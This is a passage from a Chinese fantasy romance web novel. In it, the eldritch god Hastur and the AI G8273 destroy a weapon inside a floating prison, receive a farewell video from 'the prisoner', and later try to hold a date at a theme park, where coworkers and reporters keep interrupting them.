月光照亮了室内。
大概是这里已经不属于监.禁区,整个房间乍一看和普通教室没什么区别。大扇的落地窗将监狱外的一切都框成了一幅风格奇异的画——
大片浅紫与金色交织的西式宫殿群,在月光下折射出珍珠似的绚烂鳞光,宏伟而瑰丽。
它们承载在巨型机械结构搭建而成的一块又一块底盘上,被机械结构托举着,悬浮于云端。
大量流线体的飞行器在空中穿梭混战,炮火轰鸣不断,暴力野蛮的火光与浓烟洗礼着这片西幻与科技交织的瑰奇景观。
哈斯塔因这从未见过的景观愣神了半秒,很快记挂着正事,收回眼神。
他将注意力集中在教室顶端那张漂浮于空中,用粉笔写满了规则的黑板上:“就是它?”
“对……奇怪?周围这圈光边是怎么回事?”休斯咕哝着搓了搓黑板边缘七彩斑斓、很难忽略的光边,很快又抬起头催促哈斯塔和G8273,“快来。”
“P跟休斯谈过一次,说他跟那个搞事精——就是囚徒试过一回,两人合力足以摧毁这件因果律武器。”
“你们……”休斯话说到一半又打住,觉得这时候没必要说什么泄气的话,“走到这一步,也不可能回头了,对吧?”
回应他的是奔涌向黑板的污染和于空气中凝实的绿色字符。
哈斯塔没去想“老板和囚徒合力才能摧毁武器,他和G8273能不能摧毁成功”,因为事到临头,他就算是掉头就走,麻烦照样也会找上门。
到那时候,他面对的或许就不再是一个处于内乱中、只能小捣小戳的糟老头子们,而是接受十一长老团投诚的某位王座继承人投来的关注与战火。
哈斯塔尝试释放出他的本貌,发觉无法借此直接撞破房间后放弃。
G8273低唤了一声:“别分神。”
在此之前,哈斯塔从未觉得想摧毁什么东西会如此困难。
精神触须绞缠向黑板,用污染尽力腐蚀武器时,哈斯塔甚至产生一种有人在拿指甲刮擦他的耳膜,又顺着刺痛的洞口将导管刺入他的头颅,用力榨取他的脑髓的错觉。
G8273的身体同样出现异常现象——实体的边缘出现信号故障似的绿色马赛克,像他的身躯正在走向崩溃。
休斯抱着就地取材的枪械,把守在门边,做好拦住随时可能冲进门的无形守卫的准备:
“加把劲!黑板上的字在扭曲了!”
这个时候,其实不论是哈斯塔,还是G8273,都已经无法听见任何外来的声音。
他们全神贯注于摧毁因果律武器这一件事,但在某一刻,两人不约而同地产生某种愕然的情绪:
武器的力量并不纯粹,它像是活物——不,准确地说,是有什么活物正在和它融为一体。他们的到来恰好干扰了这一进程——
但依旧太晚了。
7:57。
房门边,休斯惊骇地看着那块普通顺眼的黑板彩光一现,外显形态由人畜无害的静态物体,逐渐扩大、弯曲,呈现出一种臃肿的龟壳形态。
下一瞬,龟壳之下骤然探伸一颗长满灰色根瘤状突起的头颅!
“噗嗵嗵……”
四十多条肢体从龟壳中垂落而下,有的手臂因为过长,砸落在地面发出沉闷的声响。
顶头的那颗头颅微微扬起,“龟壳”的腹部紧跟着咧开一张横亘上下的巨口。
腥臭的气息扑面而来,旋转的一圈圈利齿间,颚肉上像长了海葡萄似的镶嵌着数颗紧闭双眼的蜡白头颅。
“长……”休斯来不及骇然地念完“长老团”三个字,整个监狱骤然如闹钟般巨震!
哈斯塔在遽然间感觉有无数道裁纸小刀划开他的耳膜、他的皮肤,又拿着小刀尖端玩耍似的挑拨着血肉组织之上覆盖的皮肤,像是要将薄薄的人皮硬生生从肉上剥下来。
皮下的血肉在这种粗暴的拨弄下被搅成一团烂泥,于是那些刀又抵上一个个肉坑,猛然扎入!滚烫的开水紧跟着从头顶浇淋下来,掺了浓密度酒精似的渗入伤口。
哈斯塔因为这骤然施加于身的痛苦眼前一黑,哇地一声呕出一大股黑血。视线严重模糊的间隙,他听见休斯在大叫:
“拖住他们!!拖住他们!!休斯去地下炸……”
后续的话听不清了,每一道声音施加于听觉感官之上,都变成了一千把尖刀,同时扎向他的精神。
他凭借游离的意识,勉强拼凑出休斯的意图:
监狱地下大概藏着军火库或者反应炉之类的地方,休斯想让他们拖住融合了因果律武器的十一长老团,好方便他下去引爆地下的易爆品,为他们摧毁武器添加一分助力。
哈斯塔晃了下如有针扎的脑袋,勉力抬起被黑乎乎的黏液(那应该是他的血)糊住的眼睑,将模糊的视线投向对面。
他的精神触须还在凭借本能缠绞着龟壳,吸盘将大量的精神污染注入龟壳中,将龟壳渐渐腐蚀。
他的思维却晃到了别的事情上:
比如对面的AI此时心里在写些什么?会不会在后悔?毕竟对方在几分钟前才坦言过,AI并不喜欢以身涉险,除非准备万全。
也许生死会让对方清醒过来,意识到这时候抽身而逃、放弃世界融合才是最优的选择,AI应该很容易算清其中的利弊、决定该如何取舍。
但事实上他仅仅感到自己某根因伤残疼痛而颤抖着垂落的精神触须,碰上了令几根因冷汗而潮湿的手指,然后在痉挛中紧紧勾住。
这不是安慰,也不是什么生同衾死同穴的承诺。
因为他隐约能看见字符串的流光在G8273的眼底迅速淌过,对方仍在寻找破局的办法。
哈斯塔很难控制自己的触须不像藤蔓般缠绕到对方身上。
邪神大概就没有什么无私奉献的精神,当祂陨落时,祂只会带着自己的巢穴、带着自己的所有物、带着一切给予祂欢愉,给予祂毁灭的东西共赴灭亡。
假使他们是孤独之海上的两艘游轮,那从碰面、同行的那一刻起,就注定了一艘将会带着另一艘沉没于风暴。
G8273偏要以一种浪漫的方式来诠释它:“我不介意跟你殉情,但现在还远不到我们共同面对灭亡的时刻。”
他的声音轻柔缓慢,灭亡这个词在他舌尖被挑弄了一下,尾音轻轻地落在空气里,不像是在谈死亡,而是将毁灭视为某种链接灵魂的契约或者宏大的婚礼。
哈斯塔感受到一股混沌之力正从G8273勾着他的手指,传递到他身上。
因此而略微恢复清醒的头脑,仅在第一秒划过“他在做什么?他的身躯在崩散”,后一秒就倏然明悟。
7:59。
倒计时60秒。
哈斯塔的眼眸在不断涌入的混沌之力中散出诡谲妖冶的金橙色暗芒,他启唇低语:
[Byakhee.](拜亚基)
[mgahnghft ya gnaiigofn.](带来我的眷族)
夹雪的北风骤然在密闭的室内呼啸。
“▅▃▆▁”
“▃▄▄▂——”
怪异的鸣响划破了严丝合缝的时空,生长着蝙蝠般怪异翅膀的拜亚基从以太中穿梭而来,背上、爪间或坐或抓着数人,下饺子似的将整个房间的空间挤得满满当当。
异常的时空将现实扭曲成数面软鼓,发出令监狱震动得更加猛烈的轰鸣,来人的叽叽喳喳很快变成错愕:
“院长?!我去,这大乌龟谁?G8273你怎么就剩虚影了?”
“什么院长?这是我们老板——老板,要帮忙吗?”
“嗯?什么情况?上战场也用不着带上我吧。我还在做研——好多血肉。”
就算是快团灭了哈斯塔都要把这个白眼翻出来:他说的眷族指的是他在游戏捏的那个儿子,拜亚基带了一堆人类来算怎么回事??
——不是,这些难道都是他的眷族吗?
哈斯塔有点受惊,可惜他已没力气说出这段腹诽。
好在伊塔库亚在反应过来的瞬间,就立即化作混沌的星云,投身入战场,后方的人类则在发现无处插手后拥簇住在场的两个外置大脑:
“康内琉斯!想想办法!”
“阿尔法!救——唉小孩还是别操心这些了,康内琉斯!!”
原本还耷拉着一双死鱼眼,满脸厌烦的康内琉斯在看见满地的血肉后就骤然精神,他眼中放着精光:
“我翻过警局留下的摇篮教资料,里面有些篇章提及到,生食邪神血肉可以获得超越人类的力量,当然也有几率变成怪物。”
才因为伊塔库亚的支援,身上担子略轻的哈斯塔:“……”
不是,别??
你们这……别因果律武器没把人团灭,你们先吃刺身吃死了!
然而在场的人里有几个是会听人劝的呢,就算听,那也得哈斯塔能有余暇开口阻拦才行。
除了凯西还对着带有海腥气的血肉挑剔了一下,剩下的人类简直浑身长满了胆子,根本没带犹豫,就各自捧起血肉干咽下去。
技术员T甚至两眼放光,嘴都快笑咧开了:“吃完会变成什么样?嘿!我应该把房间里的收藏带来!三柄光剑!就挂在腰……”
异变绝不会是轻松的。
哈斯塔至少希望那几个未成年孩子能远离刺身,这不是小孩该碰的东西。
可惜在场的孩子,只有凯西在思索后十动然拒,阿尔法眼睛眨也不眨就将肉塞进了嘴里,旁边阿道夫拦都没来得及拦住。
达斯汀倒是及时抱住了因行动迟缓,所以没来得及把肉往嘴里塞的胡斯卢:“别……”他自己也正忍耐着异变的代价,“别什么东西,都往嘴里塞……别人给的也不行,命令也不行!”
哈斯塔绝望地闭上眼睛,不想思考自己这算不算又喜得一堆麟子,但考虑到倒计时仅剩最后十来秒,休斯又不知道什么时候会点燃地下的军火库或反应炉,他只能勉强分神敦促:“快……来!”
十一长老团发出愤怒的咆哮,像在谴责僭越者打不过还call人的卑鄙行径,也可能是在为明显能感知到的大厦将颓而慌乱不甘。
七点五十九分的倒数第十秒。
在休斯推开反应炉室大门时,一声几乎贯彻整个帝国的轰炸声猝然响起。
远方苍穹中,正打得火热的三军目瞪口呆地停下动作,下意识地眺望向最西方的那片悬浮大陆。
下一秒,自帝国建立起就巍然不动、不论经历任何风雨炮弹,都不曾有丝毫损伤的监牢,坠落了。
帝国内部顿时乱成一团,在外作战、或者亲眼目睹了这一幕的帝国公民更加惊骇,他们甚至产生了一种错觉:仿佛监狱的崩坍,就是帝国灭亡的前奏。
——当然,这些人心惶惶就不在哈斯塔和G8273考虑的范畴内了。
爆炸发生的瞬间,哈斯塔就张开黄袍,包裹住了所有眷族——连带还有个被他用精神触须从地下薅上来的休斯。
G8273的虚影半揽住哈斯塔,展开跨越宇宙罅隙的甬道:“您的试用时间已结束,请为AI的服务打分。”
眷族们都蒙在黄袍里,听不见G8273故意装作AI合成语音说话的声音,也听不见哈斯塔的答复:
“五星只能给一星。客服,其他人的AI伴侣都会谈情说爱,还会做点成年人爱做的事,为什么我的AI伴侣一点都不主动?”
G8273一本正经地回复:“也许他在等待您下达指令。”
G8273垂下头,鼻尖抵上哈斯塔的脸颊:“也许是因为他现在耗电过多,需要你先给予他一些东西,他才能更好地为您服务。”
——G8273指的是他传输给哈斯塔的混沌之力,当然这话也可以仁者见仁智者见智,G8273不介意哈斯塔发散性思维。
唯一被漏在黄袍外,挂在触须下晃荡的休斯:“……”
……你们商量前戏搞什么play能不能避着点人?咋,又“单方面忽略筛选了这个电灯泡/觉得这个人现在不太重要”了是吗?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
第61章 后记
第61章 后记 ——好在我们还拥有足……
一番惊险逃生、并肩作战, 就能让哈斯塔对G8273的态度180°扭转吗?
当然不可能。
他只是太亢奋了。
死里逃生带给他类似于高潮般的亢奋战栗,如果不是有理智把控,他这会儿应该还呆在正在坠落的监狱中, 以最原始的形态嘶吼着挥动精神触须,肆意宣泄这份亢奋。
但理智就像个寸止的笼子, 将他身躯中这些战栗、亢奋, 统统封锁在了人类的身躯之下。
于是憋得格外不爽的哈斯塔,自然而然地将视线投向另一种宣泄方式——以人类的话语来说,就是做.爱。
邪神没什么节操意识,也不在意自己对G8273到底有没有感觉。
他甚至蛮不讲理地想过,如果G8273拒绝他的邀请, 那大不了采取一些强制手段, 这年头做恨好像也挺流行的(请人类不要学习非人类的错误三观)。
好在G8273完全不介意——倒不如说,他从穿梭至监狱的罅隙甬道展开前,就已经先一步达到哈斯塔当前所处的亢奋状态。
对于AI来说, 直面风险、踏入风险,本身就是一种感官的全面唤醒。
如果不是正事当前,早在哈斯塔在监狱中拽下他深吻时, 他就已经按捺不住地复习保存在核心、在各个分区都做过备份的某些记录, 并将记录付诸实践了。
两个非人类一拍即合, 只有在场的唯一一个正常人类十分介意:
“我说……!不管你们、要干什么, 在干起来之前、能不能先松手……松触须, 放开我!?”
休斯憋红着脸挣扎,快被哈斯塔绞得越来越有力的触须勒碎肋骨了。
哈斯塔后知后觉地意识到这还有个人类。
他松开休斯,顺道把黄袍里兜着的人类叽里咕噜倒出来——
然后就没有然后了。
所有养过毛孩子的人都知道,每次笼子刚打开的时候,就是毛孩子们最需要照顾的时候。
如果是上飞机, 那就更像开盲盒。你也不知道几小时、甚至十几小时的飞行之旅,会让你开出一个什么状态的盲盒。
哈斯塔当下面临的也是这种会让铲屎官手足无措的局面:
穿梭前还精神充沛,和他并肩作战的人类们,甫一出黄袍,就噗嗵嗵跪倒一地。
大量的脓囊和息肉从背脊、后颈等各处滋长出来,造成堪称致命的痛苦。
海边的普通水产都最好不要生吃刺身,更别提芬尼安等人生吃的还是邪神的血肉。
得到力量,必然也意味着对等的付出代价。
康内琉斯于痉挛中强撑着抬起手,哈斯塔刚要上前搭上一把,以为这位刺身宴的发起者有什么解决方案,就见这人挣扎着摸向后颈,启动脑芯接口录入观察日志:
“服用哈斯塔血肉的第3分钟。颈后出现两处息肉样肿物,肉红色,质地柔软,随心脏轻微搏动……右肋处……很可惜记录者未有机会精确测量服用的药引数据……”
康内琉斯:我就是死在这儿,也要先把观察日记录完!
“……”哈斯塔真是服了,“G8273,之前有没有遇到过这种情况?我是怎么处理的?”
G8273要笑不笑地踱步过来,抬手按住康内琉斯的颈项:“打电话给我?威胁勒索?”
“……”哈斯塔佯装听见的不是这句,“你既然有办法解决,那就交给你了。”
他转身要走,半途又被其他的奇行种挣扎着拦住。
Z宁死也要坚守工作岗位:“老……板,分部到底什么情况了?为什么突然决定同意世界融合?融合后的细节怎么说?权利、地盘、资源分割……”
芬尼安扭动着把聊工作聊得枯木回春的Z蹬开:“谁是你老板?这是我们院长——院长,罗南议员询问美食街有没有意愿在各个大区驻扎分店,哦还有军火的第二批订单……”
达斯汀艰难翻滚过来,一心还记挂着帮克拉克兄弟捎话:“利奥……说他一个人管卡尔克萨、太累了,问你什么时候能给他拨点帮手?他哥大概什么时候能死?克拉克说、他绝对不要下卡尔克萨,为此公司愿意注资承担康内琉斯的所有净化环境公益项目。”
哈斯塔:“……”
世上效果最棒的冷水:一件接一件的工作。
什么亢奋,什么吊桥效应,瞬间降到了谷底。
哈斯塔冷静地加快步伐,试图躲避这令非人感到窒息的现实,腿刚迈出,又被G8273的银发卷了回去。
“……”哈斯塔以看阶级敌人的目光警惕地瞪向G8273,发誓如果这家伙也蹦出一堆待完成的工作,他必将一键清零好感度。
然而G8273只是冲哈斯塔晃了晃手上的圆盘状物品。月光下,光碟的背面折射出斑斓的银光:
“囚徒寄来的任务奖励,你不打算看看?”
·
哈斯塔承认,即便是邪神也具有好奇心。
哈斯塔的公司办公室里,G8273将光碟推进T热情贡献出的老式机箱内,读碟器嗡嗡响了起来,电脑屏幕上出现一片像给油画模特准备的布景。
周围排排坐的吃瓜群众露出困惑的表情,他们似乎连着片布景都看不到:“这是正常播放的状态吗?为什么一直是白屏?”
G8273打量着屏幕中的鲜红幕布:“可能设置过认知筛选……看起来是神秘学的手段,我不是很清楚该怎么解开。”
众人顿时露出失望的表情。但录制影像的人都将保密做到这份上了,就意味着对方并不是很希望第三个人在场,他们还是尊重录像人意愿地退出办公室。
“滋……”
音响在办公室门被带上之后,忽然发出信号不良似的声响。
哈斯塔回头看去,就见幕布前的椅子上多了一个人,看姿势不像是刚坐下的,倒像是已经在镜头前录了有一会,只是后期剪辑时,刻意剪掉了前面一段。
“我知道你们一定有很多想问我的话,但在此之前,还请允许我代为转交一份歉礼——”
视频中的人轻啧了一声:“其实也算不上‘歉’,毕竟这段记忆是我趁着他被下药迷晕后拿来的。我确定它应该属于你?哈斯塔?”
正常的光碟肯定不具有承载记忆的能力,但囚徒特意送来的“任务奖励”,显然具有相当复杂的特殊能力。
哈斯塔仅来得及皱眉启唇,质问尚未脱口而出,一股温暖与寒冷交织的触感便自他的眉心没入。
数个月来积攒下的记忆和情感如同瀑布般不管不顾地倾砸向他。他在快闪的记忆中记起从二楼绝望坠落的“病秧子”身影;想起埋入伊塔库亚的绒毛间,那蓬松柔软的触感。
想起坐在尸骸之上、几乎浑身都被笨重的机械替代的黑红海报;想起芬尼安载着他和达斯汀共同跨越的那片夜空。
温暖的哈利之湖、风雪之中他和G8273所跻身的那片蓝色冰洞、阿道夫用以插花的酒壶、艾德放到他窗台前,养活的第一盆沙漠玫瑰……
“很好,记忆恢复,现在我们能来好好谈谈了。”
坐在椅子上的人显然没打算给哈斯塔多余的时间整理心绪,也或许是对方自己没有足够的时间。
录像的背景看似丰富,实则用幕布遮挡住了所有可能透露出所在地的信息点;囚徒也未露面部,就连声音也依旧用的是不怎么好听的合成音:
“首先,是之前G8273曾问过的‘为什么要折腾这么一串任务’。”
“我必须承认,我低估了哈斯塔的洞察能力。在我的预设中,哈斯塔或许得跟完全部任务剧情,才能以此类比,发现绿朱草的背叛——”
“如果你们有心对比,会发现贾卡里的任务动机几乎和绿朱草完全一致,甚至就连他们抢夺成果、杀人灭口的行为模式,都极其相近。”
哈斯塔古怪地看着屏幕,几乎想问“你这么大费周章,就为了让我知道绿朱草在利用我?”,话还没到嘴边,他就记起这不是个通讯,仅仅是一段早就录制好的视频。
“……我猜你们这会肯定想问,‘你这么大费周章,就为了这个?’”
囚徒单手撑着下颌,宽松的衣袖顺着过于清瘦的手腕滑落,显得好整以暇:
“当然不止。如P所说,我的确在给自己无聊的囚禁生涯制造乐子,打发时间。但他有一点猜错了。”
“找乐子并不是我的重要目的,引导你——你们进化,才是。”
“不论怎么说,在你们未成形时,我为你们搭起了骨骼框架;在你们生出血肉时,我为你们提供力量……”
“从某种角度来说,我的确是你们的父亲。甚至P也能算是,毕竟你们的基础框架脱胎于他的灵感和草图——算他1%的功劳好了。”囚徒嫌弃地啧了一声。
哈斯塔:“……”
今天是什么大“喜”的日子。
先是喜得麟子,好不容易解除了父子/女关系,又天降父亲×2。
不过囚徒这么一说,哈斯塔倒是回忆起当初老板健在(?)时,对自己的纵容态度。
其实仔细想想,就老板那种冷淡又有点古板的性格,应该不可能干出上班时间回复员工发来的垃圾短信的事吧?
——等等,所以老板最开始窥他的屏是因为什么?因为潘多拉魔盒?
不,潘多拉魔盒就在他心脏里,老板要能发现早发现了。所以老板一开始借着阿尔法的眼睛窥屏,真就是为了悄摸摸看他?
哈斯塔不禁恶寒了一下,紧跟着又想起那一次老板亲自来任务地点找他,说要不要更换绿朱草的事宜……那时候老板知道绿朱草背后的秘密吗?
应该也不,不然一早就该知道潘多拉魔盒的存在了。
那那次老板亲自来见他,又是说“可以更换更能全心全意辅助你的监管者”、又是说“如果游戏没用,可以在现实世界宣泄筑巢欲”……
哈斯塔不愿再往下想了,以免老板在他心中的形象崩塌。
但很快地,他又想起:这张光碟是在半个月前送来的。
不久之后,休斯就带着遗嘱出现在总裁办公室……
这段录像里的人,已经死了吗?
屏幕里,囚徒半翘着的长腿悠闲地晃了晃:“还有什么要交代的……嗯,对了,关于潘多拉魔盒。”
“基于它在近一个世纪以来掀起的腥风血雨,我跟P准备找个法子彻底摧毁它,所以接下来可能会失踪很长一段时间。”
“别担心我们——也别想着‘我们要带它逃到另一个世界去’……我们还没老到失去自保能力。”
录像的画面开始震动起来,砂石从天花板扑簌簌的降落。
囚徒短暂地回了下头,白得简直要透明的手探伸向镜头,只在切断录像前留了最后一句:
“祝你们永远自由。”
“叮啷……”
录像伴随着镣铐撞击声归于黑暗,为最后那句临别赠言添加了几分沉甸甸的重量。
G8273沉吟:“他们正在被追杀。所以全程囚徒都没露面,大概也是不希望我们知道太多,免得受影响。”
哈斯塔的心情一变再变,现在又变回了出差前的“火力不足恐惧症”状态:“我们近期别见面了。”
正在一心两用,订去酒店的悬浮车的G8273:“……”
G8273:“啊?”
……早知道就该在厮混结束后,一起躺在酒店的大床上看光碟了。
他这个下意识把正事放在享乐前的破习惯到底什么时候能改?难道还没吃够教训??
·
哈斯塔的“近期别见面”,预估的是一周到半个月。但等他们各自回去,实际上阔别的时间却是整整三个月。
实在是要处理的事情太多了:两方世界各自的麻烦、融合之前要完成的掰扯、融合之后政策的实际实施……等G8273再有空邀到同样有空的哈斯塔,凤凰区已经进入了初夏。
哈斯塔甚至没敢让Z知道自己偷溜出了公司,免得再被带回去工作。巴比伦公司久违地接到了熟悉的订车备注:
【停到标注坐标,不要亮灯。】
哈斯塔给的坐标,是公司一公里外的一片氧气森林。
这是世界融合之后,由克拉克注资,康内琉斯提供技术支持,从而在世界各地复现出的“绿色奇迹”。
虽然对这两位实际推动者而言,这些绿色的星球之肺仅仅意味着换取自己不要早亡的贿赂、一次勉强算得上有意思的课题研究,但对于生存在这颗星球上的人来说,这些森林的复辟除了实打实、物理意义上的好处,更具有相当重要的精神象征——
就像时刻走向灭亡的倒计时被人倒转了一样,他们看着总笼罩在工业城市上方的雾霾被驱散,绿色重新在充斥着钢筋铁骨的城市中蔓延,充满着刺鼻化学废料气味的海洋重变蔚蓝,就像看到世界、看到自己,正走向希望。
哈斯塔换了一套黑西装,融入夜色。轻手轻脚、猫猫祟祟地溜出公司,坐进悬浮车时还在想:
可惜这些项目对于康内琉斯来说不具有太多挑战性。听G8273说,研究所至今还得靠着艾德把康内琉斯堵在实验室里,才能迫使康内琉斯接着去研究怎么复现油茶、可可树、葡萄树等说起来不是很必须,但从某种角度来说,又确实很必须的植物。
【请乘客确认目的地:东区世界——凤凰区——新立黄衣主题游乐园,是否更改?】智能助手勤勤恳恳工作。
“不更改。”哈斯塔放松下紧绷了三个月的神经,在后座上短暂地瘫成一坨扁扁的蛋黄水母,“出发。”
悬浮车飞升带来的轻微失重感,和引擎低缓的呜鸣,令哈斯塔不由自主地在车上睡过了半个小时。
抵达G8273邀约的碰面地点时,他甚至是被超可怕的社畜噩梦惊醒的——他梦见悬浮车落地时,等在车门外的不是G8273,而是肃然叉着腰的Z,可怕的前队长现副总张嘴就是一句:
“我以为你会来的再晚点。”
哈斯塔:嗯?不应该是“请跟我回去处理公务”吗?
他从刚睡醒的浑噩状态中清醒过来,才意识到替他拉开车门的不是Z,而是G8273。
对方今天穿了件花里胡哨的衬衫,配着宽松休闲的沙滩裤,衬衫上襟随性地敞开着,露出大片漂亮的胸膛,和背后乐园氛围相映成趣。
哈斯塔起身下车,久违的恋人一碰头,先对万一被员工发现的口供:
哈斯塔谨慎叮嘱:“万一Z追上来,就说这个游乐园是以黄衣之王为主题,我作为当事人是来检视有没有过格或者不合适之处的。”
G8273显然也想过备案:“也可以设法甩开他们。毕竟这个游乐园很大,我看过分区设计,想找人没那么简单。”
明明是来约会的,两个人却感觉自己像什么在逃罪犯。
进公园的第一时间,他们就不约而同地往贩卖沙滩帽、墨镜的小摊贩走,正准备收摊的摊主都纳闷了:“朋友们,现在是晚上,你们或许更需要水母小提灯?或者调查员手电筒?”
哈斯塔和G8273几乎同时开口:
“不,就要沙滩帽和墨镜。”
“水母小提灯?让我看看,还有别的周边吗?”
周边的原型:“……”
蛋黄水母开始隐隐发火,正想就自己跟蛋黄水母毫无关系一事发表过激言论,近旁的大门涌进一片嘈杂的人类,镁光灯、拍照声交织成片:
“罗南女士!恭喜您在选举中大获全胜!请问能否和我们谈谈,您上任后主持的第一项决策,就是同意将两个世界划分为东西二区,这一决定是否有可能埋下冲突的祸根?”
“罗南女士!关于西区掌权人H先生,您有什么可以和大家分享的情报?西区对记者的进出严格把控,目前尚未有记者成功采访过那位公司的掌权人!”
“罗南女士……”
哈斯塔敬能在这种拥挤和追问下面不改色的罗南女士是个勇士,同时迅速戴上随手拿起的沙滩帽和墨镜:“快走,别被罗南认出来。”
谁敢赌连死神都敢于为了选票而利用的罗南,会不会在认出他的第一时间叫破他的身份,盛情邀请他一起接受记者采访?到时候他岂不是会被记者们硬控,直到Z接到消息把他拎走?
G8273同样迅速地戴上伪装,付钱撤退。以他巴比伦公司话事人的身份,要被记者们逮到也讨不了好,至少今晚他是别指望约会了。
两个人游鱼一般挤入人群,将罗南和记者抛在身后。
G8273摸出顺手从小摊买的地图查看:“最近的娱乐设施是‘坠落于毕宿星五’。”
哈斯塔:“……什么东西?”
G8273人话翻译人话:“跳楼机。去看看?手册声称这是东西两区最高的跳楼机,足有666米。”
六百六十六,比起他们之前的高空裸跳还是小儿科了点。但哈斯塔看G8273明显心动的样子,还是陪G8273挤到跳楼机的队列后排着。
G8273饶有兴致地指着宣传图:“跳楼机做成了黄衣之王形态的样子,乘客都坐在黄衣之王的巨口中——”
“这有什么刺激的?”
一道熟悉得让哈斯塔瞬间绷成水母棍的声音在附近响起,T的声音继续洋洋得意地道:“我们还坐过老板的触须!8000米的高空,对流层!战机中途因为敌袭被击落了,老板就带着我们接着对空作战,触须把我们抬到合适的位置架炮,哇那刺激,那惊险……”
“……”哈斯塔现在就感觉很惊险刺激,他希望T不是Z派来逮他回去工作吧??
另一道熟悉的声音紧跟着不耐地响起:“公司的人,你没班要加?跑来游乐场干什么?”
艾德的声音紧跟着急促地劝阻:“康内琉斯,别这样……游乐场是公共娱乐场所,谁都能来的。”
康内琉斯很恼火:“但他总跟着我们算怎么回事?我现在打电话给Z举报行不行?”
“诶!别啊别啊!!”T顿时急了,“我紧赶慢赶,好不容易把所有交给我的任务在今晚之前处理完了,别提醒Z那个内卷狂给我加工作啊!”
谈及工作,内心就变得苦楚,社畜上一秒还在得意炫耀,下一秒就情不自禁地抹泪哽咽:“你们知道什么?我这日子过的,压力老大的……队长是个工作狂,老板又能同时生出千脑千手高速批阅文件……上面是神仙打架,下面是我这种普通职员遭殃呜呜呜……”
竖着耳朵偷听的哈斯塔渐渐放松下来。但出于谨慎考虑,这跳楼机最好还是别坐了。谁知道T说这番话是不是想放松他的警惕?
G8273深以为然:“去隔壁区的‘纷争之双子’吧。”
哈斯塔:“……”他缓缓侧目,“这又是什么?”
“大型射击游戏,”G8273说,“一次性可以容纳下200人入场,排队不需要等多……我们穿梭过去。”
将足以跨越宇宙罅隙的能力用在避免赶路上,虽然有点大材小用,但任何游乐场内不得不走路走出扁平足的游客都会因此露出羡慕嫉妒的眼神。
为防猝然出现引起恐慌,G8273特意将落脚的坐标定在公共厕所后方的丛林。两人刚拍着头顶的树叶走出灌木丛,冷不丁又听见一道熟悉的声音:
“人呢?都从厕所里出来了没?胡斯卢、凯西、伊塔库亚……”芬尼安在挨个点人头,“嗯,齐了。”
达斯汀的声音紧跟着冒出来:“等等,阿尔法没跟来?”
芬尼安的声音都像是在翻白眼:
“阿尔法说比起在游乐园脸挨屁股挤,宁可留在图书馆享受安静时光……天,我真怕她有一天会变成女伴康内琉斯的模样。”
“别担心她了,有阿道夫陪着呢,咱们给她多带点伴手礼回去,这里的院长周边还都挺可爱的。”
蛋黄水母再次重燃怒火,正要上前同物种盲(对应脸盲)的员工激辩,记者潮再度卷席着拍照声和杂乱提问声,蝗虫过境般火速涌来:
“看!!是新上任的达斯汀总署长!总署长先生,能回答我们几个问题吗?关于您在短短半年之内平步青云,坊间有各种传闻……”
“小哈代先生!!没想到竟会在这主题乐园里见到您?我以为要同时兼管迪思默帮、巴比伦公司、美食街等各方面的工作会非常忙碌,没想到您竟还能在完成工作之余,有闲余时间陪伴孩子们游乐?”
“噢,别问傻话了蠢货!谁不知道小哈代先生根本不喜欢工作?迪思默帮是继承了,但他丢给老迪思默管;美食街的负责人是他,但负责运营的却是他开的什么‘烹饪学院’的学徒。巴比伦公司也一样,要不是老哈代夫妇刚被营救回来,身体还需要调养,估计他也会把公务丢给父母管……”
“差别很大吗?现在巴比伦公司也不是小哈代先生在管啊?管事的不是话事人加百列先生?”
“如果能有机会采访到加百列先生……”
“……”就在十几米开外的加百列先生僵在原地,汗流浃背。
哈斯塔从G8273手中抽出小册子:“再换个区吧,这个……‘奔涌向哈利之湖’?”
按照项目名称下方的标注,这玩意儿应该是激流勇进。
哈斯塔是敬佩人类设计者的取名创意的。
他们充满期待地穿梭过来,又手忙脚乱地灰溜溜逃开。
G8273将两人带到激流勇进附近的更衣室内时,多少有点怀疑人生:“今天是什么日子?为什么所有人都在这座游乐场里?”
哈斯塔安慰G8273的同时也在自我安慰:“也没有所有人。阿尔法他们就没来,更重要的是Z也不在。”
只要Z不在,他们这个会就还能继续约下——去……
哈斯塔刚推开更衣室隔间的门,顿了一秒,又向后一步,G8273差点撞上哈斯塔的后背:“?怎么?”
隔着哈斯塔重新锁上的隔间门,两人能清楚地听见Z困惑的声音:“怎么好像看见哈斯塔了……”
“……”两个非人类挤在隔间里默不作声,汗流浃背。
克拉克冷静的声音响起来:“应该是看错了吧。我记得哈斯塔很讨厌水母塑,不可能特意跑来这个主题公园。”
Z发出一声疲倦的叹息:“可能是我最近压力太大,精神敏感了。老板的工作效率实在恐怖,我必须得加班加点的连轴转,才能跟上他的效率,今天难得能提前处理好工作……谢谢你的邀请,我猜我的确需要一些休息时间。”
哈斯塔:“?”
哈斯塔:“??”
什么,怎么搞得反而像他在压迫Z一样,难道不是Z一直像推土机一样地追在他身后,突突不停地塞工作吗?
G8273的胸膛紧压着他的后背,忍俊不禁似的抖起来。为防被Z发现他们在偷听,G8273低下头耳语:
“你知道人类职场有个广为流传的窍门,说工作到手别干得太快,不然只会迎来更多的工作。”
哈斯塔和Z俨然发展成了一种说不清是良性还是恶性的循环:
最初Z交给哈斯塔大批工作,可能并不是指望哈斯塔能立刻完成的意思。
结果没想到哈斯塔看到这么多工作一次性塞来后压力山大,觉得Z是在以己及人,狂卷老板,于是狂开小号,奋笔疾书完成工作。
Z接到老板全部批完的公务震惊茫然,紧跟着也开始压力山大,开始想老板的工作效率这么高,我这个下属也得跟上啊?于是狂肝完成工作,再极高效率地将下一批工作送上哈斯塔的办公桌……
就像一个轮子上放了两只仓鼠,当第一只仓鼠跑起来时,第二只仓鼠也不得不跟上。于是轮子越跑越快、越跑越累,两只仓鼠开始在心里恐惧地想“天啊另一个同类为什么要这样逼迫我运动,它是什么大魔王”……
G8273实在没忍住,将头埋进哈斯塔的肩窝里发出闷笑。
意识到这是个大乌龙的哈斯塔面无表情:“……”
他伸手搭上门把手,决定就在今天结束这场无尽的内卷循环。刚按下门栓。
克拉克语带幽怨:“行了吧,你算是不错的了。你以为我今天为什么邀请你?就是想跟你谈谈你老板的工作时长分配问题。”
“我知道现实世界的公司很需要哈斯塔,但有没有可能,卡尔克萨更需要哈斯塔?只有利奥一个人……一个鬼运转整个卡尔克萨的秩序,你知不知道我这个活人,被拖下亡者之都,白打了多少次工?”
